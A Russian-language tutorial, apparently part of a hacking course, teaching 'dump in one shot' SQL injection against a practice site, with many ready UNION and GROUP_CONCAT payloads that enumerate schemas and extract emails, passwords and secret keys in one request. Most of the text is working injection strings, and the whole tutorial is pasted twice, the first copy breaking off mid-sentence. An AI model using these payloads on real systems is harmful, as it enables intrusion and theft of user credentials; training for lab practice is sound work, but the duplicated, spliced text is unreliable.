Приветствую тебя читатель!
Надеюсь ты уже решил базовые задачки из предыдущей статьи.
А сегодня я расскажу о более продвинутых техниках, позволяющих извлекать данные из баз гораздо быстрее. Данный подход называется DIOS(DUMP IN ONE SHOOT)
В прошлый раз определить что в таблице 4 столбца получилось только за 4 запроса. При большем количестве столбцов и подавно запросов будет больше. Но есть способ, который работает в большинстве случаев, с помощью которого можно узнать количество колонок всего лишь отправив 1 запрос. В этом нам поможет уже знакомый оператор GROUP BY.
Только использовать его на сей раз будем по-иному. Откроем наш прошлый сайт и отправим-ка мы во-о-о-т такенный запрос:
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70 -- -
Error While Selection process: Unknown column '5' in 'group statement' Error code: 1054
Ага, получили уже знакомую ошибку, указывающую нам на то, что колонки 5 не существует. Значит колонок 4. В таком варианте оператор GROUP BY сделал запросы сразу по всем столбцам. Мы их перечислили аж 70 штук, в большинстве случаев, попадаются сайты до 30 столбцов. Большее количество маловероятно, впрочем ничто не мешает увеличить этот список до 100 например.
Подошёл черёд использовать для дальнейших манипуляций другой оператор. Встречайте GROUP_CONCAT. Мы уже использовали оператор CONCAT для вывода сразу нескольких полей в запросе вместе. В отличии от него, GROUP_CONCAT может складывать содержимое полей из разных строк. Синтаксис следующий:
SELECT GROUP_CONCAT(поле SEPARATOR разделитель) FROM имя_таблицы WHERE условие
Сепаратор указывать не обязательно, в таком случае данные будут выведены через запятую.
Первым делом выведем все базы. Это важный момент, поясню почему. Чтобы вытащить данные из текущей базы вовсе не обязательно знать её название, вместо него можно в запросе отправлять database(), что и будет соответствовать текущей базе. А нафига тогда козе баян?
Кузнец-то нам тоже не нужен, а вот список баз может очень даже пригодиться. Отправим запрос:
-1'+union+select+group_concat(schema_name+SEPARATOR+0x3c62723e)+,2,3,4+FROM+INFORMATION_SCHEMA.SCHEMATA -- -
В данном случае мы получили системные базы + текущую базу golden_key. Здесь сепаратор 0x3c62723e это HTML-тег <br>, который переносит строки.
Но на самом деле у сайта может быть несколько баз, и с разных страниц он может обращаться к разным базам. Кроме того у админа может быть неиспользуемая база, но в которой хранится чувствительная информация. Также могут быть базы на одном сервере сразу от нескольких ресурсов. Список можно продолжать, возможно всё. Именно поэтому выводите все базы, тогда ничего интересного не пропустите.
Данный запрос мы можем сделать немного сложнее, но универсальнее, так как не придётся выносить FROM+INFORMATION_SCHEMA.SCHEMATA за пределы столбцов, а результат будет одинаковым.
-1' union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4 -- -
Теперь посмотрим какие таблицы в текущей базе.
-1' union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='golden_key'),2,3,4 -- -
Как видите Limit нам не понадобился, обе таблицы получили за 1 запрос. Ну вы поняли, что запрос можно отправить и так:
-1' union+select+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e),2,3,4+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='golden_key' -- -
Вывод всех колонок из всех таблиц
-1' union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.columns WHERE TABLE_SCHEMA='golden_key'),2,3,4 -- -
Но можно сделать ещё универсальнее - вывод всех колонок, и всех таблиц, и текущей базы. Так получается очень наглядно - мы сразу видим весь расклад полей по таблицам в базе.
-1' union SELECT group_concat('<br>',table_schema,0x3a, table_name,0x3a, column_name),2,3,4 FROM information_schema.columns WHERE table_schema ='golden_key' -- -
Или так
-1' union SELECT (SELECT+GROUP_CONCAT('<br>',table_schema,0x3a, table_name,0x3a, column_name) FROM information_schema.columns WHERE table_schema ='golden_key'),2,3,4 -- -
Прекрасно!
А в том случае, если база оказалась не одна, то мы может и в этом случае вывести всё сразу, применив отрицание != 'ненужная база' Таким образом мы уберём из MariaDB все системные базы. В случае с обычным mysql понадобится указать только information_schema.
-1' union SELECT group_concat('<br>',table_schema,0x3a, table_name,0x3a, column_name),2,3,4 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' AND table_schema != 'performance_schema' -- -
Вывод конкретных значений из определённой таблицы
-1' union select (SELECT+GROUP_CONCAT(id,0x3a,email,0x3a,password,0x3a,secret_key+SEPARATOR+0x3c62723e)+FROM+passwd),2,3,4 -- -
А теперь внимание!!! Барабанная дробь...
Отправляем вот такой запрос:
-1' union select (SELECT+GROUP_CONCAT(id,0x3a,email,0x3a,password,0x3a,secret_key+SEPARATOR+0x3c62723e)+FROM+passwd),2,(SELECT+GROUP_CONCAT(id,0x3a,nickname,0x3a,login,0x3a,statement+SEPARATOR+0x3c62723e)+FROM+login),4 -- -
One shot!!! Аплодисменты!!! Мы вывели на странице все значения из базы за один запрос.
Капля дёгтя - group_concat не извлекает больше 1024 символов.
По умолчанию 1024 символа для каждого объединения выводимой строки.
Если размер склеенных данных больше, то он будет урезаться. Правда это ограничение можно обойти в случае необходимости.
--------------------------------------------------------------------------------
Рассмотрим теперь другой вариант быстрого решения.
Вывод списка баз будет осуществляться так:
-1' UNION SELECT (select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.schemata)where(@a)in(@a:=concat(@a,schema_name,'<br>'))))a),2,3,4 -- -
Схема сложнее для понимания, кто программирует, тому проще разобраться.
@a объявление переменной. А раз это переменная, то писать вместо a можно всё что угодно - b например.
:= оператор присваивания, инициализирует переменные
in использует оператор для проверки вхождения
Виднее будет на примере. Вытащим имена таблиц:
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema='golden_key') and (@a)in (@a:=concat(@a,table_schema,' -> ',table_name,'<br>'))))a)),2,3,4 -- -
А теперь всё вместе - база. таблица, колонки
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema='golden_key') and (@a)in (@a:=concat(@a,table_schema,' -> ',table_name,'<br>',' -> ', '<font color=red>',column_name, '</font>','<br>'))))a)),2,3,4 -- -
Использование HTML-тегов позволяет раскрасить вывод при желании, и оформить вывод как душе угодно.
Тот же самый запрос с другим оформлением
-1' union select(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where (table_schema='golden_key') and(0x00)in (@a:=concat(@a,0x3c62723e,table_schema,' :: ',table_name,' :: ',column_name))))a),2,3,4 -- -
Ну и вывод желаемых значений
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (passwd)where (@a)in (@a:=concat(@a,'<font color=red>',id,'</font><font color=green> ---> ',secret_key,'</font><font color=blue> ---> ',email,'</font>,<br>'))))a)),2,3,4 -- -
Или так например
-1' UNION SELECT (select (@) from (select(@:=0x00),(select (@) from (golden_key.login) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',login,' ] > ',statement,' > ',0x7C))))a),2,3,4 -- -
Вариантов можно придумать много, но главное конечно не внешний вид, а возможность получать данные быстрее, в обход Limit.
Домашнее задание: На
Надеюсь ты уже решил базовые задачки из предыдущей статьи.
А сегодня я расскажу о более продвинутых техниках, позволяющих извлекать данные из баз гораздо быстрее. Данный подход называется DIOS(DUMP IN ONE SHOOT)
В прошлый раз определить что в таблице 4 столбца получилось только за 4 запроса. При большем количестве столбцов и подавно запросов будет больше. Но есть способ, который работает в большинстве случаев, с помощью которого можно узнать количество колонок всего лишь отправив 1 запрос. В этом нам поможет уже знакомый оператор GROUP BY.
Только использовать его на сей раз будем по-иному. Откроем наш прошлый сайт и отправим-ка мы во-о-о-т такенный запрос:
1' GROUP BY 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70 -- -
Error While Selection process: Unknown column '5' in 'group statement' Error code: 1054
Ага, получили уже знакомую ошибку, указывающую нам на то, что колонки 5 не существует. Значит колонок 4. В таком варианте оператор GROUP BY сделал запросы сразу по всем столбцам. Мы их перечислили аж 70 штук, в большинстве случаев, попадаются сайты до 30 столбцов. Большее количество маловероятно, впрочем ничто не мешает увеличить этот список до 100 например.
Подошёл черёд использовать для дальнейших манипуляций другой оператор. Встречайте GROUP_CONCAT. Мы уже использовали оператор CONCAT для вывода сразу нескольких полей в запросе вместе. В отличии от него, GROUP_CONCAT может складывать содержимое полей из разных строк. Синтаксис следующий:
SELECT GROUP_CONCAT(поле SEPARATOR разделитель) FROM имя_таблицы WHERE условие
Сепаратор указывать не обязательно, в таком случае данные будут выведены через запятую.
Первым делом выведем все базы. Это важный момент, поясню почему. Чтобы вытащить данные из текущей базы вовсе не обязательно знать её название, вместо него можно в запросе отправлять database(), что и будет соответствовать текущей базе. А нафига тогда козе баян?
Кузнец-то нам тоже не нужен, а вот список баз может очень даже пригодиться. Отправим запрос:
-1'+union+select+group_concat(schema_name+SEPARATOR+0x3c62723e)+,2,3,4+FROM+INFORMATION_SCHEMA.SCHEMATA -- -
В данном случае мы получили системные базы + текущую базу golden_key. Здесь сепаратор 0x3c62723e это HTML-тег <br>, который переносит строки.
Но на самом деле у сайта может быть несколько баз, и с разных страниц он может обращаться к разным базам. Кроме того у админа может быть неиспользуемая база, но в которой хранится чувствительная информация. Также могут быть базы на одном сервере сразу от нескольких ресурсов. Список можно продолжать, возможно всё. Именно поэтому выводите все базы, тогда ничего интересного не пропустите.
Данный запрос мы можем сделать немного сложнее, но универсальнее, так как не придётся выносить FROM+INFORMATION_SCHEMA.SCHEMATA за пределы столбцов, а результат будет одинаковым.
-1' union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4 -- -
Теперь посмотрим какие таблицы в текущей базе.
-1' union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='golden_key'),2,3,4 -- -
Как видите Limit нам не понадобился, обе таблицы получили за 1 запрос. Ну вы поняли, что запрос можно отправить и так:
-1' union+select+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e),2,3,4+FROM+INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='golden_key' -- -
Вывод всех колонок из всех таблиц
-1' union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.columns WHERE TABLE_SCHEMA='golden_key'),2,3,4 -- -
Но можно сделать ещё универсальнее - вывод всех колонок, и всех таблиц, и текущей базы. Так получается очень наглядно - мы сразу видим весь расклад полей по таблицам в базе.
-1' union SELECT group_concat('<br>',table_schema,0x3a, table_name,0x3a, column_name),2,3,4 FROM information_schema.columns WHERE table_schema ='golden_key' -- -
Или так
-1' union SELECT (SELECT+GROUP_CONCAT('<br>',table_schema,0x3a, table_name,0x3a, column_name) FROM information_schema.columns WHERE table_schema ='golden_key'),2,3,4 -- -
Прекрасно!
А в том случае, если база оказалась не одна, то мы может и в этом случае вывести всё сразу, применив отрицание != 'ненужная база' Таким образом мы уберём из MariaDB все системные базы. В случае с обычным mysql понадобится указать только information_schema.
-1' union SELECT group_concat('<br>',table_schema,0x3a, table_name,0x3a, column_name),2,3,4 FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' AND table_schema != 'performance_schema' -- -
Вывод конкретных значений из определённой таблицы
-1' union select (SELECT+GROUP_CONCAT(id,0x3a,email,0x3a,password,0x3a,secret_key+SEPARATOR+0x3c62723e)+FROM+passwd),2,3,4 -- -
А теперь внимание!!! Барабанная дробь...
Отправляем вот такой запрос:
-1' union select (SELECT+GROUP_CONCAT(id,0x3a,email,0x3a,password,0x3a,secret_key+SEPARATOR+0x3c62723e)+FROM+passwd),2,(SELECT+GROUP_CONCAT(id,0x3a,nickname,0x3a,login,0x3a,statement+SEPARATOR+0x3c62723e)+FROM+login),4 -- -
One shot!!! Аплодисменты!!! Мы вывели на странице все значения из базы за один запрос.
Капля дёгтя - group_concat не извлекает больше 1024 символов.
По умолчанию 1024 символа для каждого объединения выводимой строки.
Если размер склеенных данных больше, то он будет урезаться. Правда это ограничение можно обойти в случае необходимости.
--------------------------------------------------------------------------------
Рассмотрим теперь другой вариант быстрого решения.
Вывод списка баз будет осуществляться так:
-1' UNION SELECT (select(@a)from(select(@a:=0x00),(select (@a) from (information_schema.schemata)where(@a)in(@a:=concat(@a,schema_name,'<br>'))))a),2,3,4 -- -
Схема сложнее для понимания, кто программирует, тому проще разобраться.
@a объявление переменной. А раз это переменная, то писать вместо a можно всё что угодно - b например.
:= оператор присваивания, инициализирует переменные
in использует оператор для проверки вхождения
Виднее будет на примере. Вытащим имена таблиц:
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema='golden_key') and (@a)in (@a:=concat(@a,table_schema,' -> ',table_name,'<br>'))))a)),2,3,4 -- -
А теперь всё вместе - база. таблица, колонки
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema='golden_key') and (@a)in (@a:=concat(@a,table_schema,' -> ',table_name,'<br>',' -> ', '<font color=red>',column_name, '</font>','<br>'))))a)),2,3,4 -- -
Использование HTML-тегов позволяет раскрасить вывод при желании, и оформить вывод как душе угодно.
Тот же самый запрос с другим оформлением
-1' union select(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where (table_schema='golden_key') and(0x00)in (@a:=concat(@a,0x3c62723e,table_schema,' :: ',table_name,' :: ',column_name))))a),2,3,4 -- -
Ну и вывод желаемых значений
-1' union select ((select (@a) from (select(@a:=0x00),(select (@a) from (passwd)where (@a)in (@a:=concat(@a,'<font color=red>',id,'</font><font color=green> ---> ',secret_key,'</font><font color=blue> ---> ',email,'</font>,<br>'))))a)),2,3,4 -- -
Или так например
-1' UNION SELECT (select (@) from (select(@:=0x00),(select (@) from (golden_key.login) where (@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',login,' ] > ',statement,' > ',0x7C))))a),2,3,4 -- -
Вариантов можно придумать много, но главное конечно не внешний вид, а возможность получать данные быстрее, в обход Limit.
Домашнее задание: На
Ссылка скрыта от гостей
решите следующие 4 базовые задачи с помощью быстрых техник.